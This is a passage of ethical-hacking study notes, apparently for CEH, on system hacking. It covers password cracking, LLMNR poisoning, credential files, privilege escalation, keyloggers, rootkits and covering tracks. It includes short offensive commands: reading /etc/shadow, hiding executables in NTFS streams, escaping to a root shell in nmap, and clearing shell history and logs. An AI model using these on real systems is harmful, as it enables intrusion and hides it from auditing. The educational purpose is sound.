      <p>Includes <strong>Dictionary</strong> and <strong>Brute-force attacks</strong>, <strong>hash injections,
          phishing, Trojans, spyware, keyloggers and password guessing</strong></p>
    </li>
    <li>
      <p><strong><a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">LLMNR</a> / <a
            href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc958811(v=technet.10)?redirectedfrom=MSDN">NBT-NS</a>
          Poisoning</strong> - attack based off Windows technologies that caches DNS locally. Responding to these
        poisons the local cache. If an NTLM v2 hash is sent over, it can be sniffed out and then cracked.</p>
      <ul>
        <li>⚡️ <a
            href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/1-LLMNR-NBT-NS.md">LLMNR/NBT-NS
            practical lab</a></li>
        <li><strong>LLMNR uses UDP 5355</strong></li>
        <li><strong>NBT-NS uses UDP 137</strong></li>
        <li><code>Responder</code> is the tool to sniff the access logs from LLMNR / NBT-NS</li>
        <li><img src="https://www.verifyit.nl/wp/wp-content/uploads/2016/12/llmnr_poison1.jpg" alt="LLMNR spoofing">
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Keylogging</strong> - process of using a hardware device or software application to capture keystrokes
        of a user</p>
    </li>
    <li>
      <p>Active online attacks are easier to detect and take a longer time</p>
    </li>
    <li>
      <p><strong>Tools for Active Online Attack:</strong></p>
      <ul>
        <li><code>Medusa</code></li>
        <li><code>Hydra</code></li>
        <li><code>NBNSpoof</code></li>
        <li><code>Pupy</code></li>
        <li><code>Metasploit</code></li>
        <li><code>Responder</code> - <strong>LLMNR and NBT-NS responder</strong>, it will answer to <em>specific</em>
          NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answers to
          File Server Service request, which is for <strong>SMB</strong>.</li>
      </ul>
    </li>
    <li>
      <p>Can combine "net" commands with a tool such as <strong>NetBIOS Auditing tool</strong> or
        <strong>Legion</strong> to automate the testing of user IDs and passwords</p>
      <ul>
        <li><strong>Tools for NetBIOS attack:</strong>
          <ul>
            <li><code>Hydra</code></li>
            <li><code>Metasploit</code></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>Passive online</strong> - <strong>Sniffing</strong> the wire in hopes of <strong>intercepting</strong> a
    password in clear text or attempting a replay attack or man-in-the-middle attack</h3>
  <ul>
    <li><strong>Tools for Passive Online Attack:</strong>
      <ul>
        <li><code>Cain and Abel</code> - Can poison ARP and then monitor the victim's traffic; Also used for cracking
          hash passwords (LM, NTLM), sniff network packets for password, sniff out for local stored passwords, etc.</li>
        <li><code>Ettercap</code> - MITM tool for LAN's, DNS Spoofer; Help against SSL encryption; Intercept the traffic
          on a network segment, capture passwords, and conduct an active eavesdropping against a number of common
          protocols.</li>
        <li><code>KerbCrack</code> - built-in sniffer and password cracker looking for port 88 Kerberos traffic</li>
        <li><code>ScoopLM</code> - specifically looks for Windows authentication traffic on the wire and has a password
          cracker</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Services/Protocols that uses Clear text</strong>:</p>
  </blockquote>
  <table>
    <thead>
      <tr>
        <th>Service</th>
        <th>Port</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>FTP</td>
        <td>20/21</td>
      </tr>
      <tr>
        <td>TELNET</td>
        <td>23</td>
      </tr>
      <tr>
        <td>SMTP</td>
        <td>25</td>
      </tr>
      <tr>
        <td>HTTP</td>
        <td>80</td>
      </tr>
      <tr>
        <td>POP3</td>
        <td>110</td>
      </tr>
      <tr>
        <td>IMAPv4</td>
        <td>143</td>
      </tr>
      <tr>
        <td>NetBIOS</td>
        <td>139,445</td>
      </tr>
      <tr>
        <td>SNMP</td>
        <td>161,162</td>
      </tr>
      <tr>
        <td>SQLnet</td>
        <td>1521</td>
      </tr>
    </tbody>
  </table>
  <h3><strong>Offline</strong> - when the hacker steals a copy of the password file (Plaintext or Hash) and does the
    cracking on a separate system.</h3>
  <ul>
    <li>
      <p><strong>Dictionary Attack</strong> - uses a word list to attack the password. Fastest method of attacking</p>
      <ul>
        <li>
          <p><strong>Wordlists</strong> - A wordlist or a password dictionary is a collection of passwords stored in
            plain text. It's basically a text file with a bunch of passwords in it. One popular example of wordlist is
            the <strong><a
                href="https://www.kaggle.com/wjburns/common-password-list-rockyoutxt">rockyou.txt</a></strong>
            containing 14,341,564 unique passwords.</p>
        </li>
        <li>
          <p>You also can generate your own wordlist with given parameters like length, combining letters and numbers,
            profiling etc.</p>
          <ul>
            <li>Tools for generate Wordlists:
              <ul>
                <li><code>CeWL</code></li>
                <li><code>crunch</code></li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Brute force attack</strong> - Tries every combination of characters to crack a password</p>
      <ul>
        <li>Can be faster if you know parameters (such as at least 7 characters, should have a special character, etc.)
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Hybrid attack</strong> - Takes a dictionary attack and replaces characters (such as a 0 for an o) or
        adding numbers to the end</p>
    </li>
    <li>
      <p><strong>Rainbow tables</strong> - Uses pre-hashed passwords to compare against a password hash. Is faster
        because the hashes are already computed.</p>
    </li>
    <li>
      <p><strong>Tools for cracking password files (CLI):</strong></p>
      <ul>
        <li><code>John the Ripper</code> - Works on Unix, Windows and Kerberos; Compatible with MySQL, LDAP and MD4.
        </li>
        <li><a href="https://hashcat.net/wiki/doku.php?id=hashcat"><code>Hashcat</code></a> - Advanced password recovery
          tool; Provides several options like hash modes OS's, documents, password managers... (MD5, SHA-family,
          RIPE-MD, NTLM, LM, BitLocker, OSX, MD5 salted or iterated, and the list goes on).
          <ul>
            <li><img src="https://hashcat.net/hashcat/hashcat.png" alt="hashcat"></li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Tools for cracking password files (GUI):</strong></p>
      <ul>
        <li><code>Cain &amp; Abel</code> - Windows software; Cracks hash passwords (LM, NTLM), sniff network packets for
          password, sniff out for local stored passwords, etc.</li>
        <li><code>LOphcrack</code> - Paid software; Extract and crack hashes; Uses brute force or dictionary attack;
        </li>
        <li><code>Ophcrack</code> - Free open-source; Cracks Windows log-in passwords by using LM hashes through rainbow
          tables.</li>
        <li><code>Rainbowcrack </code>- Rainbow tables generator for password cracking</li>
        <li><code>Legion</code> - Legion automates the password guessing in NetBIOS sessions. Legion scans multiple IP
          address ranges for Windows shares and also offers a manual dictionary attack tool.</li>
        <li><code>KerbCrack</code> - Crack Kerberos passwords.</li>
        <li><code>Mimikatz</code> - Steal credentials and escalate privileges (Windows NTLM hashes and Kerberos
          tickets(Golden Ticket Attack); 'Pass-the-hash' and 'Pass-the-ticker').</li>
        <li><code>fgdump</code> - Dump SAM databases on Windows machines.</li>
        <li><code>Pwdump7</code> - Dump SAM databases on Windows machines.</li>
      </ul>
    </li>
    <li>
      <p><strong>CHNTPW</strong> - chntpw is a software utility for <strong>resetting</strong> or <strong>blanking local
          passwords used by Windows NT, 2000, XP, Vista, 7, 8, 8.1 and 10</strong>. It does this by editing the SAM
        database where Windows stores password hashes.</p>
      <ol>
        <li><strong>Physical access</strong> to victim's computer</li>
        <li>Startup on BIOS and allow boot to CD or USB</li>
        <li>Modify the SAM user account information through the CHNTPW</li>
      </ol>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <code>rtgen</code>, <code>winrtgen</code> - Tools for generate your own rainbow tables.</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>SAM (Security Account Manager)</strong> is a database file <strong>present in Windows machines that
        stores user accounts and security descriptors for users on a local computer</strong>. It stores users passwords
      in a hashed format (in LM hash and NTLM hash). Because a hash function is one-way, this provides some measure of
      security for the storage of the passwords.</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong><code>/etc/shadow</code></strong> is where <strong>hashed password data</strong> is stored in
      <strong>Linux systems</strong> (only users with high privileges can access).</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>Password attack countermeasures:</strong></p>
    <ul>
      <li><strong>Length of passwords</strong> is good against <strong>brute-force attacks.</strong></li>
      <li><strong>Password complexity</strong> is good against <strong>dictionary attacks.</strong></li>
    </ul>
  </blockquote>
  <h2><u>Authentication</u></h2>
  <ul>
    <li>
      <p><strong>Three Different Types</strong></p>
      <ul>
        <li><strong>Something You Are</strong> - Uses biometrics to validate identity (retina, fingerprint, etc.)
          <ul>
            <li>
              <p>Downside is there can be lots of false negatives</p>
            </li>
            <li>
              <p><strong>False acceptance rate (FAR) - Type II</strong> - Likelihood that an unauthorized user will be
                accepted (This would be bad)</p>
            </li>
            <li>
              <p><strong>False injection rate (FRR) - Type I</strong> - Likelihood that an authorized user will be
                rejected</p>
            </li>
            <li>
              <p><strong>Crossover error rate (CER)</strong> - Combination of the two; the lower the CER, the better the
                system</p>
            </li>
            <li>
              <p><strong>Active</strong> - requires interaction (retina scan or fingerprint scanner)</p>
            </li>
            <li>
              <p><strong>Passive</strong> - Requires no interaction (iris scan)</p>
            </li>
          </ul>
        </li>
        <li><strong>Something You Have</strong> - Usually consists of a token of some kind (swipe badge, ATM card, etc.)
          <ul>
            <li>This type usually requires something alongside it (such as a PIN for an ATM card)</li>
            <li>Some tokens are single-factor (such as a plug-and-play authentication)</li>
          </ul>
        </li>
        <li><strong>Something You Know</strong> - Better known as a password
          <ul>
            <li>Most systems use this because it is universal and well-known</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Two-Factor</strong> - When you have two types of authentication such as something you know (password)
        and something you have (access card)</p>
    </li>
    <li>
      <p><strong>Strength of passwords</strong> - Determined by length and complexity</p>
      <ul>
        <li>ECC says that both should be combined for the best outcome</li>
        <li>Complexity is defined by number of character sets used (lower case, upper case, numbers, symbols, etc.)</li>
      </ul>
    </li>
    <li>
      <p><strong>Default passwords</strong> - always should be changed and never left what they came with. Databases
        such as cirt.net, default-password.info and open-sez.me all have databases of these</p>
    </li>
  </ul>
  <h1>Windows Security Architecture</h1>
  <ul>
    <li>Authentication credentials stored in SAM file</li>
    <li>File is located at <code>C:\windows\system32\config</code></li>
    <li>Older systems use LM hashing. Current uses NTLM v2 (MD5)</li>
    <li>Windows network authentication uses Kerberos</li>
  </ul>
  <h3><strong>LM Hashing</strong></h3>
  <ul>
    <li>Splits the password up. If it's over 7 characters, it is encoded in two sections.</li>
    <li>If one section is blank, the hash will be <code>AAD3B435B51404EE</code></li>
    <li>Easy to break if password is 7 characters or under because you can split the hash</li>
    <li>SAM file presents as <code>UserName:SID:LM_Hash:NTLM_Hash:::</code></li>
  </ul>
  <h3><strong>Ntds.dit</strong></h3>
  <p>Database file on a domain controller that stores passwords</p>
  <ul>
    <li>Located in %SystemRoot%\NTDS\Ntds.dit or</li>
    <li>Located in %SystemRoot%System32\Ntds.dit</li>
    <li>Includes the entire Active Directory</li>
  </ul>
  <h3><strong>Kerberos</strong> for Active Directory Domain Services (AD DS)</h3>
  <p><img
      src="https://www.manageengine.com/products/active-directory-audit/kb/images/event-4771-kerberos-authentication-illustration.jpg"
      alt="kerberos"></p>
  <ul>
    <li>Steps of exchange
      <ol>
        <li>Client asks <strong>Key Distribution Center</strong> (KDC) for a ticket. Sent in clear text.</li>
        <li>Server responds with <strong>Ticket Granting Ticket</strong> (TGT). This is a secret key which is hashed by
          the password copy stored on the server.</li>
        <li>If client can decrypt it, the TGT is sent back to the server requesting a <strong>Ticket Granting
            Service</strong> (TGS) service ticket.</li>
        <li>Server sends TGS service ticket which client uses to access resources.</li>
      </ol>
      <ul>
        <li><strong>Tools</strong>
          <ul>
            <li>KerbSniff</li>
            <li>KerbCrack</li>
            <li>Both take a long time to crack</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Uses TCP/UDP Port 88</strong></p>
  </blockquote>
  <h3><strong>Registry</strong></h3>
  <p><img src="https://upload.wikimedia.org/wikipedia/en/5/52/Regstry_Editor.png" alt="registry"></p>
  <ul>
    <li>Collection of all settings and configurations that make the system run</li>
    <li>Made up of keys and values</li>
    <li>Root level keys
      <ul>
        <li><strong>HKEY_LOCAL_MACHINE</strong> (HKLM) - information on hardware and software</li>
        <li><strong>HKEY_CLASSES_ROOT</strong> (HKCR) - information on file associates and OLE classes</li>
        <li><strong>HKEY_CURRENT_USER</strong> (HKCU) - profile information for the current user including preferences
        </li>
        <li><strong>HKEY_USERS</strong> (HKU) - specific user configuration information for all currently active users
        </li>
        <li><strong>HKEY_CURRENT_CONFIG</strong> (HKCC) - pointer to
          HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Hardware Profiles\Current</li>
      </ul>
    </li>
    <li>Type of values
      <ul>
        <li><strong>REG_SZ</strong> - character string</li>
        <li><strong>REG_EXPAND_SZ</strong> - expandable string value</li>
        <li><strong>REG_BINARY</strong> - a binary value</li>
        <li><strong>REG_DWORD</strong> - 32-bit unsigned integer</li>
        <li><strong>REG_LINK</strong> - symbolic link to another key</li>
      </ul>
    </li>
    <li>Important Locations
      <ul>
        <li>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</li>
        <li>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</li>
        <li>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</li>
        <li>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</li>
      </ul>
    </li>
    <li>Executables to edit
      <ul>
        <li>regedit.exe</li>
        <li>regedt32.exe (preferred by Microsoft)</li>
      </ul>
    </li>
  </ul>
  <h3><strong>MMC</strong></h3>
  <p><img src="https://upload.wikimedia.org/wikipedia/en/b/b7/Microsoft_Management_Console_-_Device_Manager.png"
      alt="mmc"></p>
  <ul>
    <li>
      <p>Microsoft Management Console - used by Windows to administer system</p>
    </li>
    <li>
      <p>Has "snap-ins" that allow you to modify sets (such as Group Policy Editor)</p>
    </li>
  </ul>
  <h3><strong>Sigverif.exe</strong></h3>
  <ul>
    <li><img src="https://cdn.ghacks.net/wp-content/uploads/2015/04/sigverif-file-signature-verification.jpg"
        alt="sigverif"></li>
    <li>File Signature Verification (Sigverif.exe) detects signed files and allows you to:
      <ul>
        <li>View the certificates of signed files to verify that the file has not been tampered with after being
          certified.</li>
        <li>Search for signed files.</li>
        <li>Search for unsigned files.</li>
      </ul>
    </li>
  </ul>
  <h1><u>Linux Security Architecture</u></h1>
  <h3>Linux Directory Structure</h3>
  <ul>
    <li>Linux root is just a slash (/)</li>
    <li>Important locations
      <ul>
        <li><strong>/</strong> - root directory</li>
        <li><strong>/bin</strong> - basic Linux commands</li>
        <li><strong>/dev</strong> - contains pointer locations to various storage and input/output systems</li>
        <li><strong>/etc</strong> - all administration files and passwords. Both password and shadow files are here</li>
        <li><strong>/home</strong> - holds the user home directories</li>
        <li><strong>/mnt</strong> - holds the access locations you've mounted</li>
        <li><strong>/sbin</strong> - system binaries folder which holds more administrative commands</li>
        <li><strong>/usr</strong> - holds almost all of the information, commands and files unique to the users</li>
      </ul>
    </li>
  </ul>
  <p><img src="https://www.tecmint.com/wp-content/uploads/2013/09/Linux-Directory-Structure.jpeg"
      alt="linux-architecture"></p>
  <h3>Linux Common Commands</h3>
  <table>
    <thead>
      <tr>
        <th align="center">Command</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td align="center"><code>adduser</code></td>
        <td>Adds a user to the system</td>
      </tr>
      <tr>
        <td align="center"><code>cat</code></td>
        <td>Displays contents of file</td>
      </tr>
      <tr>
        <td align="center"><code>cp </code></td>
        <td>Copies</td>
      </tr>
      <tr>
        <td align="center"><code>ifconfig</code></td>
        <td>Displays network configuration information</td>
      </tr>
      <tr>
        <td align="center"><code>kill </code></td>
        <td>Kills a running process</td>
      </tr>
      <tr>
        <td align="center"><code>ls </code></td>
        <td>Displays the contents of a folder. <code>-l</code> option provides most information.</td>
      </tr>
      <tr>
        <td align="center"><code>man </code></td>
        <td>Displays the manual page for a command</td>
      </tr>
      <tr>
        <td align="center"><code>passwd </code></td>
        <td>Used to change password</td>
      </tr>
      <tr>
        <td align="center"><code>ps </code></td>
        <td>Process status. <code>-ef</code> option shows all processes</td>
      </tr>
      <tr>
        <td align="center"><code>rm </code></td>
        <td>Removes files. <code>-r</code> option recursively removes all directories and subdirectories</td>
      </tr>
      <tr>
        <td align="center"><code>su </code></td>
        <td>Allows you to perform functions as another user (super user)</td>
      </tr>
    </tbody>
  </table>
  <ul>
    <li>
      <p>Adding an ampersand after a process name indicates it should run in the background.</p>
    </li>
    <li>
      <p><strong><code>pwd</code></strong> - displays curennt directory</p>
    </li>
    <li>
      <p><strong><code>chmod</code></strong> - changes the permissions of a folder or file</p>
      <ul>
        <li><strong>Read is 4, write is 2 and execute is 1</strong></li>
        <li>Read | Write | Execute
          :--:|:--:|:--:
          r-- | -w- | --x
          4 | 2 | 1</li>
        <li>First number is user, second is group, third is others</li>
        <li>when you issue the <code>ls</code> command with <code>-la</code> flag on Linux, you can see the permissions.
          As you can see below the file have a permission for everyone (777), will be like this:
          <ul>
            <li><code><b style="color: red;">rwx</b>rwxrwx</code> ---&gt; user</li>
            <li><code>rwx<b style="color: red;">rwx</b>rwx</code> ---&gt; group</li>
            <li><code>rwxrwx<b style="color: red;">rwx</b></code> ---&gt; others</li>
          </ul>
        </li>
        <li>Another example - <strong>755</strong> is <strong>everything for users</strong>, <strong>read/execute for
            group</strong>, and <strong>read/execute for others</strong>
          <ul>
            <li><code><b style="color: red;">rwx</b>r-xr-x</code> ---&gt; user</li>
            <li><code>rwx<b style="color: red;">r-x</b>r-x</code> ---&gt; group</li>
            <li><code>rwxr-x<b style="color: red;">r-x</b></code> ---&gt; others</li>
          </ul>
        </li>
        <li>You also can set permissions like: <code>chmod g=rw</code> (set read/write for groups).</li>
      </ul>
    </li>
    <li>
      <p><strong>Root has UID and GID of 0</strong> - <em>you can see this information by issuing the command
          <code>id</code>.</em>
        <code>root@kali:~# id</code></p>
      <ul>
        <li>
          <pre><code>uid=0(root) gid=0(root) groups=0(root)
</code></pre>
        </li>
      </ul>
    </li>
    <li>
      <p>First user has UID and GID of 500 (Fedora and CentOS); in most Linux systems the <strong>non-root/normal user
          are UID and GID of 1000.</strong></p>
    </li>
    <li>
      <p><code>normal-user@kali:~# id</code></p>
      <ul>
        <li>
          <pre><code>id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),132(scanner)
</code></pre>
        </li>
      </ul>
    </li>
    <li>
      <p>Passwords are stored in <strong>/etc/shadow</strong> for most current systems</p>
    </li>
    <li>
      <p><strong>/etc/passwd</strong> stores passwords in hashes.</p>
    </li>
    <li>
      <p><code>cat /etc/passwd</code></p>
      <ul>
        <li>
          <pre><code>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
(...)
</code></pre>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>/etc/shadow</strong> stores passwords encrypted (hashed and salted) and is only accessible by root</p>
    </li>
    <li>
      <p><code>sudo cat /etc/shadow</code></p>
      <ul>
        <li>
          <pre><code>root:!:18390:0:99999:7:::
daemon:*:18390:0:99999:7:::
bin:*:18390:0:99999:7:::
kali:$6$a/53BntOdPOaghAx$VCAdR3Af97cYTtWCtDp9iksacL3gj2Sgrb12EMix0ITuxc5jOQp1lbaRi.jNDsP2qjV3GvFAqd5Fu.8/7/P1.:18281:0:99999:7:::
(...)
</code></pre>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u>Privilege Escalation and Executing Applications</u></h2>
  <blockquote>
    <p>⚡︎ <strong>Check out the <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/5-Escalating-Privileges.md">practical
          lab on PrivEsc</a></strong></p>
  </blockquote>
  <h3><strong>Vertical</strong> - Lower-level user executes code at a higher privilege level <em>(e.g.: common user to
      root/administrator).</em></h3>
  <h3><strong>Horizontal</strong> - executing code at the same user level but from a location that would be protected
    from that access</h3>
  <ul>
    <li>
      <p>Crack the password of an admin - primary aim</p>
    </li>
    <li>
      <p>Taking advantage of an OS vulnerability</p>
      <ul>
        <li>One way to perform a priv esc is using CVE's in order to perform local shells, c shells, web shells and so
          on.</li>
        <li>Examples:
          <ul>
            <li>Linux: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195">DirtyCow</a>
              race-condition vulnerability;</li>
            <li>Windows: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0144">EternalBlue</a> exploits
              the old Samba version 1 to leverage a Remote code execution (RCE);</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>DLL Hijacking</strong> - replacing a DLL in the application directory with your own version which gives
        you the access you need</p>
    </li>
    <li>
      <p>In Linux machines is possible to look for <strong>crontabs</strong> and find misconfigurations on privileges.
      </p>
    </li>
    <li>
      <p>In Linux, <strong>insecure <code>sudo</code></strong> can lead a privilege escalation to root; You can check
        this by typing: <code>sudo -l</code>. If there's any system command that allows <strong>NOPASSWD option</strong>
        this may lead to escalation.</p>
    </li>
    <li>
      <p>Nmap old versions you can start <strong>interactive mode</strong> and issue the <code>!/bin/bash</code> to
        elevate root priveleges.</p>
    </li>
    <li>
      <p>Use a tool that will provide you the access such as Metasploit</p>
    </li>
    <li>
      <p>Social engineering a user to run an application</p>
    </li>
    <li>
      <p>ECC refers executing applications as "owning" a system</p>
    </li>
    <li>
      <p><strong>Executing applications</strong> - starting things such as keyloggers, spyware, back doors and crackers
      </p>
    </li>
  </ul>
  <h2><u>Covert data gathering</u></h2>
  <h3><strong>Keyloggers</strong> - record keys strokes of a individual computer keyboard or a network of computers.
  </h3>
  <ul>
    <li>
      <p>Keylogger when associated with spyware, hels to transmit your information to an unknown third party.</p>
    </li>
    <li>
      <p><strong>Types of Keyloggers</strong>:</p>
    </li>
    <li>
      <p><strong>Hardware keylogger</strong></p>
      <ul>
        <li>PC/BIOS embedded</li>
        <li>Keyboard</li>
        <li>External device
          <ul>
            <li>PS/2 and USB</li>
            <li>Acoustic/CAM</li>
            <li>Bluetooth</li>
            <li>Wi-Fi</li>
          </ul>
        </li>
        <li><strong>Hardware Keylogger Tools:</strong>
          <ul>
            <li>KeyGrabber - electronic device capable of caputring keystrokes from PS/2 USB keyboard.</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Software keylogger</strong></p>
      <ul>
        <li>Application</li>
        <li>Kernel</li>
        <li>Hypervisor-based</li>
        <li>Form Grabbing based (records
          from web form data)</li>
        <li><strong>Software Keylogger Tools:</strong>
          <ul>
            <li>KeyCarbon</li>
            <li>Keyllama Keylloger</li>
            <li>Keyboard logger</li>
            <li>KeyGhost</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>Spywares</strong> - watching user's action and logging them without the user's knowledege.</h3>
  <ul>
    <li>Hide its process, files and other objects</li>
    <li><strong>Spywares can teals user's PII, monitors activity, display annoying pop-ups, redirect web pages to ads,
        changes the browser's settings, steal passwords, modifies the DLLs, changes firewall settings and so
        on</strong>.</li>
    <li><strong>Types of spyware:</strong>
      <ul>
        <li>Desktop</li>
        <li>Email</li>
        <li>Internet</li>
        <li>Child-Monitoring</li>
        <li>Screen Capturing</li>
        <li>USB</li>
        <li>Audio and Video</li>
        <li>Printers</li>
        <li>Mobile devices / Telephones / Cellphones</li>
        <li>GPS</li>
      </ul>
    </li>
    <li><strong>Spyware Tools</strong>:
      <ul>
        <li><a href="https://www.spytech-web.com/">SpyAgent</a> - allows you to secretly monitor and record all
          activities on your computer, which is completely legal.</li>
        <li><a href="http://ematrixsoft.com/power-spy-software.php">Power Spy</a> - allows you to secretly monitor and
          record all activities on your computer, which is completely legal.</li>
        <li><strong>mSpy</strong> - GPS spyware that trace the location of particular mobile devices.</li>
        <li><strong>USBDeview</strong> - monitors and analyzes data transferred between any USB device connected to a
          computer.</li>
      </ul>
    </li>
  </ul>
  <h3>Defending against Keyloggers and Spywares</h3>
  <ul>
    <li>Restrict physical access to computer systems</li>
    <li>Use anti-keylogger between the keyboard and its driver</li>
    <li>Use pop-up blocker and avoid opening junk emails</li>
    <li>Use anti-spyware/antivirus</li>
    <li>Firewall and anti-keylogging software(Zemana AntiLogger)</li>
    <li>Update and patch!</li>
    <li>Recognize phishing emails</li>
    <li>Host-based IDS</li>
    <li>Automatic form-filling password manager or virtual keyboard</li>
  </ul>
  <h2><u>Hiding Files</u></h2>
  <blockquote>
    <p>⚡︎ <strong>Check out the practical labs(2) on <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/8-NTFS-Streams.md">Hiding
          Files using NTFS streams</a> and <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/9-Steganography.md">Steganography</a></strong>
    </p>
  </blockquote>
  <ul>
    <li>In Windows, you can use <strong>Alternate Data Stream</strong> (ADS) to hide files:
      <ul>
        <li>Hides a file from directory listing on an NTFS file system
          <ul>
            <li><code>type badfile.exe: &gt; plaintext.txt:badfile.exe</code></li>
            <li>Next create a symlink <code>mklink normalApp.exe readme.txt:badfile.exe</code>)</li>
          </ul>
        </li>
        <li>You can also clear out all ADS by copying files to a FAT partition</li>
        <li>To show ADS, <code>dir /r</code> does the trick;
          <ul>
            <li>You can use <code>streams</code> from <strong>Sysinternals</strong> to show streams.</li>
            <li>Also you can use <strong>FTK (Forensics ToolKit)</strong> to look for this</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>You can also hide files by attributes</strong>
      <ul>
        <li>In Windows: <code>attrib +h filename</code></li>
        <li>In Linux, simply add a <code>.</code> to the beginning of the filename (<code>.file.tar</code>)</li>
      </ul>
    </li>
    <li><strong>Can hide data and files with steganography</strong>
      <ul>
        <li>Tools for steganography:
          <ul>
            <li>CLI (Linux):
              <ul>
                <li><strong><code>steghide</code></strong></li>
              </ul>
            </li>
            <li>GUI (Windows):
              <ul>
                <li><strong>Snow</strong></li>
                <li><strong>OpenStego</strong></li>
                <li><strong>OpenPuff</strong></li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>

    <h2><u>Steganography</u></h2>

  <ul>
    <li><strong>Steganography</strong> - practice of concealing a message inside another medium so that only the sender
      and recipient know of its existence</li>
    <li><strong>Ways to Identify</strong>
      <ul>
        <li>Text - character positions are key - blank spaces, text patterns</li>
        <li>Image - file larger in size; some may have color palette faults</li>
        <li>Audio &amp; Video - require statistical analysis</li>
      </ul>
    </li>
    <li><strong>Methods</strong>
      <ul>
        <li>Least significant bit insertion - changes least meaningful bit</li>
        <li>Masking and filtering (grayscale images) - like watermarking</li>
        <li>Algorithmic transformation - hides in mathematical functions used in image compression</li>
      </ul>
    </li>
    <li><strong>Tools</strong>
      <ul>
        <li>QuickStego</li>
        <li>gifshuffle</li>
        <li>SNOW</li>
        <li>Steganography Studio</li>
        <li>OpenStego</li>
      </ul>
    </li>
  </ul>
  <h2><u>Rootkits</u></h2>
  <ul>
    <li>Software put in place by attacker to obscure system compromise</li>
    <li>Hides processes and files</li>
    <li>Also allows for future access</li>
    <li><strong>Examples</strong>
      <ul>
        <li>Horsepill - Linus kernel rootkit inside initrd</li>
        <li>Grayfish - Windows rootkit that injects in boot record</li>
        <li>Firefef - multi-component family of malware</li>
        <li>Azazel</li>
        <li>Avatar</li>
        <li>Necurs</li>
        <li>ZeroAccess</li>
      </ul>
    </li>
    <li><strong>Hypervisor level</strong> - rootkits that modify the boot sequence of a host system to load a VM as the
      host OS</li>
    <li><strong>Hardware</strong> - hide malware in devices or firmware</li>
    <li><strong>Boot loader level</strong> - replace boot loader with one controlled by hacker</li>
    <li><strong>Application level</strong> - directed to replace valid application files with Trojans</li>
    <li><strong>Kernel level</strong> - attack boot sectors and kernel level replacing kernel code with back-door code;
      most dangerous</li>
    <li><strong>Library level</strong> - use system-level calls to hide themselves</li>
    <li>One way to detect rootkits is to map all the files on a system and then boot a system from a clean CD version
      and compare the two file systems</li>
  </ul>
  <h2><u>Covering Tracks</u></h2>
  <p><strong>Clearing logs is the main idea behind covering tracks.</strong></p>
  <ol>
    <li>Find and clear the logs.</li>
    <li>Falsify/Modify logs.</li>
  </ol>
  <h3><strong>On Linux:</strong></h3>
  <ul>
    <li>
      <p>Linux keep the <strong>command line history on <code>.bash_history</code></strong> file</p>
      <ul>
        <li>To clear out the command line history use <code>rm -rf</code> to force remove. You also can use <code>shred
            -zu</code> that deletes the file and <strong>overwrite on memory</strong>.</li>
        <li>You can also use <code>history -c</code> to clear all command line history on entire system or <code>history
            -w</code> to clear out all session history.</li>
      </ul>
    </li>
    <li>
      <p><strong>Turn off the command logs:</strong></p>
      <ul>
        <li><code>export HISTSIZE=0</code></li>
        <li><code>echo $HISTSIZE</code> will return 0 limiting the number of commands which can be saved in $HISTFILE.
        </li>
      </ul>
    </li>
    <li>
      <p><strong>clearev</strong> - Meterpreter shell command to clear log files (issued inside Metasploit Framework)
      </p>
    </li>
  </ul>
  <p><strong>Most common logs on Linux:</strong></p>
  <ul>
    <li><code>/var/log/messages</code> or <code>/var/log/syslog/</code>
      <ul>
        <li>General messages, as well as system-related information.</li>
      </ul>
    </li>
    <li><code>/var/log/auth.log</code> or <code>/var/log/secure</code>
      <ul>
        <li>Store authentication logs, including both successful and failed logins and authentication methods.</li>
      </ul>
    </li>
    <li><code>/var/log/boot.log</code>
      <ul>
